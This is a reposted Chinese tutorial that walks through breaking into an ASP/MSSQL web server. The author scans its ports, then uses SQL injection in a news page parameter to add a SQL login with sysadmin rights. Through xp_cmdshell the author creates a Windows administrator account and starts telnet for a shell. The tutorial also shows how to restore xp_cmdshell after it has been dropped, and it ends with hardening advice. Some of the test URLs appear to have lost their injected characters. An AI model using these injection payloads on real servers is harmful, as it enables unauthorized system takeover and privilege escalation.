SQL注入中利用XP_cmdshell提權的用法(轉)


先來介紹一下子服務器的基本情況,windows 2000 adv server 中文版,據稱

打過了sp3,asp+iis+mssql 。首先掃描了一下子端口,呵呵,開始的一般步驟。

端口21開放: FTP (Control)
端口80開放: HTTP, World Wide Web
端口135開放: Location Service
端口139開放: NETBIOS Session Service
端口1433開放: Microsoft-SQL-Server

開了幾個很經典的端口,應該說個個都很經典啊。既然確定好了端口,那就有
針對性地掃描一下看看開了什么共享么,faint,老兄把ipc$,admin$,c$,d$都
給關掉了,掃描nt的弱口令就沒有實際意義了。然后呢就看看iis是否有什么
漏洞,用x_scan掃了一下,沒有發現什么可以利用的漏洞。然后就來看看1433
的sql是否有什么漏洞,首先掃了一下弱口令,沒有,先還是不暴力破解吧,一
般都是先禮后兵的,暴力的就留到最后了。最近sql server 有個Resolution服
務遠程棧緩沖區溢出漏洞,用這個來看看,試了一下子不行。原因可能是因為
我用的exploit對sp3不適用或者是已經做了安全設置。不過這問題還是先記錄
下來了。
再來看看ftp怎么樣,
C:/Documents and Settings/Administrator>ftp 1.1.1.1
Connected to 1.1.1.1.
220 cwcserver Microsoft FTP Service (Version 5.0).
User (1.1.1.1:(none)): anonymous
331 Password required for anonymous.
Password:
530 User anonymous cannot log in.
Login failed.
ftp>
失敗了。不支持匿名登陸的,不過這里也是一個安全隱患,可以通過暴力破解
ftp用戶的密碼來破解nt用戶的密碼。也記錄下來了。好了,既然用了asp+sql
那就來看看asp編程方面有沒有可以利用的東西了。到主頁上面一看,有個新聞
發布系統。url如下:
http://1.1.1.1/news/default.asp?cataid=98986
先加個分號測試一下,url現在如下:
http://1.1.1.1/news/default.asp?cataid=98986
依然正常顯示,並且和前面顯示完全一樣。這說明了沒有過濾分號,大好消息。
再測試一下子單引號。現
在的url如下:
http://1.1.1.1/news/default.asp?cataid=98986
頁面正常顯示,不過不能夠顯示新聞列表。提示找不到資料。這說明單引號也沒
有過濾。好了,希望大大的有了。估計xp_cmdshell也可以了,其他的存儲過程
也都可以用了。不過這里這台服務器是關掉了所有的默認的共享。

想想有什么好辦法能夠獲得shell呢。仔細考慮后我想到了兩種方法,基本上是
大同小異。

方法一:
利用xp_cmdshell存儲過程來添加windows用戶,並提升到管理員權限。
然后依然利用xp_cmdshell來打開telnet服務。最后當然是登錄上去了。

方法二:
利用sp_addlogin添加sql用戶,同樣還要提升權限。
再用查詢分析器連接SQL Server,再利用xp_cmdshell打開telnet服務。
最后登錄。

兩種方法都能夠得到shell,我就選擇第二種方法。具體過程如下:


就往SQL Server里面添加一個用戶吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回車后執行,瀏覽器自動補上了空格,變成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
頁面依然正常顯示,不過就算你打錯了也會正常顯示的,不能夠判斷究竟是
否成功。中間的20%嗎,其實就是代表空格符的。上面也就相當於在查詢分
析器里面執行:
use master;
dbo.sp_addlogin user;注:此處也可以為sp_addlogin user;前面的url里
面同樣可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一樣的。
現在我們已經添加了一個用戶了,密碼現在為空,這里就不管這么多了,反正也是
一個過渡的過程,就不加密碼了。
如果要改密碼,可以這樣:dbo.password null,password,user;
dbo.password是修改用密碼的存儲過程,null是舊密碼,password是新密碼,
user自然就是用戶名了。而在我們這個測試中也就是這樣子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主題,現在權限還是不夠高,那么就開始提升權限吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解釋一下sysadmin的含義。SQL Server有八種固定服務器角色,具體如下:數據
庫創建者(DBCREATOR),磁盤管理員(DISKADMIN),進程管理員(PROCESSADMIN),
安全管理員(SECURITYADMIN),服務器管理員(SEVERADMIN)安裝管理員(SETUPADMIN)
,系統管理員(SYSADMIN),大容量管理員(BULKADMIN)當然最高權限的是系
統管理員(SYSADMIN),默認情況下sa也是系統管理員。
dbo.sp_addsrvrolemember是為固定服務器角色分配登錄帳戶的存儲過程。

用大家經常使用的net命令來對應(本身並沒有任何聯系,這里拿來對照學習)
sp_addlogin user;相當於 net user user /add
sp_password null,password,user相當於net user user password
sp_addsrvrolemember user,sysadmin相當於net localgroup administrators user /add


好了,我們現在已經實現了添加用戶並且提升到sysadmin了。下面要做的是添加windows用戶並且
開啟telnet服務。
打開我的查詢分析器,填入服務器地址,用戶民和密碼。連接成功了。嘗試一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
記得分號是不可以少的哦。一切正常。顯示出來了c:盤下的目錄和文件。那就繼續下去,
添加windows用戶:
xp_cmdshell ‘net user awen /add‘;
設置好密碼:
xp_cmdshell ‘net user awen password‘;
提升到管理員:
xp_cmdshell ‘net localgroup administrators awen /add‘;
開啟telnet服務:
xp_cmdshell ‘net start tlntsvr‘
一個老問題就是還有ntlm這個攔路虎。
沒問題,直接在肉雞上也添加一個用戶名和密碼相同的賬號然后再以這個帳號運行cmd就可以了。
具體的做法-----為cmd.exe創建一個快捷方式,右鍵點擊,在"屬性"里面鈎上"以其他用戶身
份運行"。ok,雙擊。輸入剛才的用戶名和密碼。更加詳細的做法清查看阿布的文章----
最快速登錄WIN2K TELNET 服務,在這里可以找到.
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html

好了,可以telnet上去了,就寫到這里,后面還進行了一些測試,都是大家所熟悉的就不寫了。

 

二 回顧與思考

 

這次入侵測試要是說有難點的話那就是管理員把ipc$,admin$,c$,d$...都關掉了。
因此和以前很多的教程有點不同。比如說假設ipc$沒有關閉的話,我們很輕松的
使用opentelnet這個工具來開telnet,並且也就沒有了ntlm這個障礙。

再對前面的兩種方法進行回顧,其實兩種方法還是有區別的。
假如管理員把xp_cmdshell禁止了,第一種方法就無法進行下去了。
有人會說,第二種方法不是也一樣要用到xp_cmdshell嗎。
正確,不過我們還是有辦法恢復過來。SQL server 2000的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘
SQL Server 7.0的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘
你在2000下面是找不到xpsql70.dll的,同樣7.0下面也是找不到xplog70.dll。
把第二種方法也寫出來,沒有測試,僅供大家參考:
1 添加用戶
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密碼
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理員權限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打開telnet服務
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登錄

 


三 就本例談談怎樣進行安全防范

 

上面所講的是一個特定的例子,但是反應了一個問題,世界上沒有絕對的安全。
安全是有很多很多細節所組成起來的。上面例子中的管理員已經做了一些必要的安全措施。
補丁打得也很及時,但是依然存在着很大的問題。不僅僅是asp沒有過濾掉特殊字符。還有一些
比較嚴重的問題,比如說開啟了ms ftp服務,這樣入侵者就可以通過暴力破解ftp密碼來獲得
windows的密碼。
如果要談2000的安全設置,要寫上厚厚的一本書也可以。下面僅僅就這個例子中來談談。

asp編程要注意的一些問題:
1 涉及用戶名與口令的程序最好封裝在服務器端,盡量少的在ASP文件里出現,
2 涉及到與數據庫連接地用戶名與口令應給予最小的權限。如本例,事后問了朋友,
他使用的是sa用戶,因此我能夠運行很多的存儲過程。
3 屏蔽很多特殊字符,如; ‘這種危險的字符必須要給過濾掉。
4 在處理類似留言板、BBS等輸入框的ASP程序中,最好屏蔽掉HTML、javascript、VBScript
語句,如無特殊要求,可以限定只允許輸入字母與數字,屏蔽掉特殊字符。同時對輸入字符
的長度進行限制。而且不但在客戶端進行輸入合法性檢查,同時要在服務器端程序中進行類
似檢查。
5 要使用access的話,千萬注意到保護好你的mdb文件,別讓別人下載。

SQL SERVER的安全
本例中SQL SERVER的設置也存在着很多的問題。比如很多存儲過程沒有drop,是這次入侵中的
功臣,也是安全的極大的隱患。
1 使用安全的密碼策略
2 及時更新補丁程序。
 與windows一樣,SQL SERVER的許多漏洞會由補丁程序來彌補。建議在安裝補丁程序之前先
在測試機器上做測試,同時提前做好目標服務器的數據備份。而很多管理員往往不注意給SQL
SERVER打補丁。最近就有Resolution服務遠程棧緩沖區溢出漏洞,很多站點都沒有注意到。
3 嚴格控制數據庫用戶的權限,輕易不要給讓用戶對表有直接的查詢、更改、插入、刪除權限,
可以通過給用戶以訪問視圖的權限,以及只具有執行存儲過程的權限。在上面也提到了。
4 把危險的和不必要的存儲過程刪除,
xp_cmdshell,很危險的一個存儲過程,能夠執行dos命令,可以通過下述SQL語句
use master
sp_dropextendedproc ‘xp_cmdshell‘
不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000)
xpsql70.dll(sql serer 7.0)
以下存儲過程也很危險
xp_fileexist,用來確定一個文件是否存在。 xp_getfiledetails,可以獲得文件詳細資料。
xp_dirtree,可以展開你需要了解的目錄,獲得所有目錄深度。 Xp_getnetname,可以獲得
服務器名稱。
去掉不需要的注冊表訪問的存儲過程,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
如果你不需要請丟棄OLE自動存儲過程,這些過程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM